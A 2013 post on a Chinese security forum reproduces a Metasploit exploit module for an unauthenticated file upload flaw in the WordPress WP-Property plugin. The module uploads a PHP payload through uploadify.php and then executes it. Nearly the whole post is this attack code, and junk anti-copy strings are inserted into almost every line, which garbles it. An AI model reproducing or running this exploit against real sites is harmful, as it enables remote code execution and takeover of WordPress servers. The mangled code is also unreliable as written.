找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2179|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞
" @4 ]4 n' ]5 W) U' a3 P1 D5 t7 l! f0 X/ ^3 n7 A0 q
## # This file is part of the Metasploit Framework and may be subject to4 Z% v4 A8 I" R( X9 t

& c2 C4 o* E- Y4 e4 G0 w# j6 E* k# redistribution and commercial restrictions. Please see the Metasploit/ d# c* z' t5 \1 {9 x
9 D1 u* C, M' o! y1 Q
# Framework web site for more information on licensing and terms of use.3 M2 S7 U( l: C9 s

  i6 g2 N) Y7 z  B9 O% `) _#   http://metasploit.com/framework/ ##
! _8 }0 ~6 D) x" \9 y, c, u' @0 T  {1 W: q7 K
; A+ t  k2 ?1 ~) P  y" ^+ U( Y* F& t
. {) i" @. I3 C6 N8 ?+ Y
5 }! T; ?3 y: Q( E

$ S; o. y1 ~5 ~# R" R7 _( b6 @require 'msf/core'2 t/ l  r- f, S% X' [
require 'msf/core/exploit/php_exe'
# z  i. S  ^% j& h. N7 t3 H5 S# n9 E! C) f9 W! x7 v
class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',0 j  q, [/ u% T5 b% U$ g
'Description'    => %q{1 d7 b1 }; E8 Y( S: b# `( y: ^  F
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
( {. w# d9 J; \, S[
5 w0 U8 Z0 p* m; I'Sammy FORGIT', # initial discovery
" }! b/ g0 R& Q% }'James Fitts <fitts.james[at]gmail.com>' # metasploit module
8 k5 c. \+ R; v+ N],
& B1 L) i0 c2 d. N. ~3 R'License'        => MSF_LICENSE,' `$ D' w$ P% d) Z# j: X7 w
'References'     =># G7 A8 F9 ~; h
[
7 {4 E2 v/ |/ B7 P+ O[ 'OSVDB', '82656' ],4 e* u* T/ X& i1 A) J
[ 'BID', '53787' ],$ w5 M. M) b6 D) Y% e) F
[ 'EDB', '18987'],
. V1 s8 }' c7 _9 f' `[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
6 d' e- [5 g+ Q! k" ?],! Y0 W% X; s. d) w: x/ C
'Payload'        =>1 a. x5 p, m( O1 w2 H! j5 o
{
. P( k0 [% Z& X* B'BadChars' => "\x00",
" Z2 G5 |. h* \) w+ t. o" n9 O},
& I% b: {0 W; o" M4 O' p9 ~'Platform'       => 'php',& s+ q2 Y8 N5 [$ ~4 F
'Arch'           => ARCH_PHP,
8 H! t& P1 o. O( p' ]/ I7 S# J& B'Targets'        =>
1 X$ e3 E( v/ D4 N- T[
0 j- o+ G) ]: s" |# q[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
  [9 ~8 }' D& R3 D2 N[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
4 u( j: D# D& s, h. w& C3 ^],
& }, n/ s/ s& K3 J0 s'DefaultTarget'  => 0,
/ y6 ~% ^% x4 l- x0 m'DisclosureDate' => 'Mar 26 2012'))* j: ^* S  @( W+ |% N
0 s; d# u7 u+ l% ]! c. ^0 m
register_options(
3 J/ M. ?0 X: u4 `! O2 @[
3 j' X; l  |2 [: OOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
% c% d! ^: Y( z+ i+ m], self.class)
, R. Z1 A6 s/ T4 z! w) rend
3 p* r4 V4 T: l: w/ }1 T
! K5 G8 o: i( r5 @+ ~2 Kdef check. y% r4 I5 l+ h) N8 W9 d; u/ M
uri =  target_uri.path: l: o* e7 I0 v
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
" Q3 i. Q2 I2 }, p6 m! R" o'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"& i9 E2 F, U  O$ i* {1 v5 W
})) }1 B0 O; p! O6 J. \
, q/ {) l6 S+ o& k5 c0 u9 _
if not res or res.code != 200
5 U2 }7 q$ C! a7 nreturn Exploit::CheckCode::Unknown
& y! p6 u8 z1 k9 _- D; A& r! yend
6 o: B& k7 h% v+ ~
" {8 g# v# [3 c( f* T& o% t3 l( J1 treturn Exploit::CheckCode::Appears
7 o, W% F' }5 \end9 z$ M6 F5 }7 o' z7 c

& s5 ?  m- i/ t) }def exploit
& o& `3 G+ T( Z7 }1 q# G' Y& ]1 d" turi =  target_uri.path4 N+ p# ?: v6 c9 `3 v
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)
7 f8 w& S0 A9 E6 r) y9 ?/ F3 }' C) z9 w
data = Rex::MIME::Message.new
1 Y9 G) p6 K+ E( r3 [data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
3 e5 |0 ~6 m2 ?: V/ [8 P1 ]data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")4 V9 Q! r$ |- ?0 a+ d* K! Y
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')* `2 \! `. m. m( z: J

- A' n' }( B1 T* P9 c# Cprint_status("#{peer} - Uploading payload #{@payload_name}")* V% s7 v8 F$ q$ u5 k) T3 ^7 u
res = send_request_cgi({# B" ~9 I* p5 _* u0 I% \7 K! D
'method' => 'POST',
8 {( t% Y$ t6 _& u- S9 ?'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",2 Z( i& {0 H8 n, L8 ~
'ctype'  => "multipart/form-data; boundary=#{data.bound}",
2 _# Z: P. k) C5 J'data'   => post_data
5 k8 I5 t$ ^$ ?7 @/ y# r})5 \( p* x9 U' L2 y
( k/ Y! h2 X2 F# U" w( T+ R
if not res or res.code != 200 or res.body !~ /#{@payload_name}/4 R7 t1 m* o' q3 o9 b
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
: i  a; M' {! R" Mend) n% x0 ~& l6 Q/ @& ^+ q

" Z7 u$ ]+ i) K# h1 rupload_uri = res.body
' F5 \0 a7 G2 F
0 _8 V( K  n% R) g  H+ {- G: H/ Nprint_status("#{peer} - Executing payload #{@payload_name}")
6 b. c; z! y" u4 M/ r$ Fres = send_request_raw({* B: C& E- c+ u5 R
'uri'    => upload_uri,
; U; y4 l: S& R- \. b6 C6 n) b'method' => 'GET'
) e- d; g! E) A" U) C8 h8 f  y8 F})* o) z9 ^! \9 G8 B
end. o* J& U4 O4 G; C; N0 z
end- G" e$ ~3 Q' x0 ~% g

3 ^: v7 v" o: V) B& [% Z; z9 }不要问我这写的是什么 怎么利用 我是说msf.# |  g$ {2 G9 E) L; A
5 J$ l5 w% _1 w8 [8 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表